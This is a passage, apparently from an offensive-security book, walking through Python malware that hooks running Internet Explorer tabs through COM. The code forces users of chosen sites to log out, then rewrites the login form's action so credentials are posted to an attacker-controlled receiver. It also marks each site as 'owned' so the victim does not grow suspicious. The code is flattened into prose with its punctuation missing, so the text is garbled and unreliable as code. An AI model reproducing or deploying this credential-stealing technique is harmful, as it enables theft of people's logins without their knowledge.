or other means that look less suspicious we then set up dictionary of target sites that our attack will support the dictionary members are as followslogout_url is url we can redirect via get request to force user to log outthe logout_form is dom element that we can submit that forces the logoutlogin_form_index is the relative location in the target domain' dom that contains the login form we'll modifyand the owned flag tells us if we have already captured credentials from target site because we don' want to keep forcing them to log in repeatedly or else the target might suspect something is up we then use internet explorer' class id and instantiate the com object which gives us access to all tabs and instances of internet explorer that are currently running now that we have the support structure in placelet' create the main loop of our attackwhile truefor browser in windowsurl urlparse urlparse(browser locationurlif url hostname in target_sitesif target_sites[url hostname]["owned"]continue if there is urlwe can just redirect if target_sites[url hostname]["logout_url"]browser navigate(target_sites[url hostname]["logout_url"]wait_for_browser(browserelseretrieve all elements in the document full_doc browser document all iteratelooking for the logout form for in full_doctryfind the logout form and submit it if id =target_sites[url hostname]["logout_form"] submit(wait_for_browser(browserexceptpass now we modify the login form trylogin_index target_sites[url hostname]["login_form_index"login_page urllib quote(browser locationurlbrowser document forms[login_indexaction "% % (data_ receiverlogin_pagetarget_sites[url hostname]["owned"true exceptpass time sleep( this is our primary loop where we monitor our target' browser session for the sites from which we want to nab credentials we start by iterating through all currently running internet explorer objectsthis includes active tabs in modern ie if we discover that the target is visiting one of our predefined sites we can begin the main logic of our attack the first step is to determine whether we have executed an attack against this site already if sowe won' execute it again (this has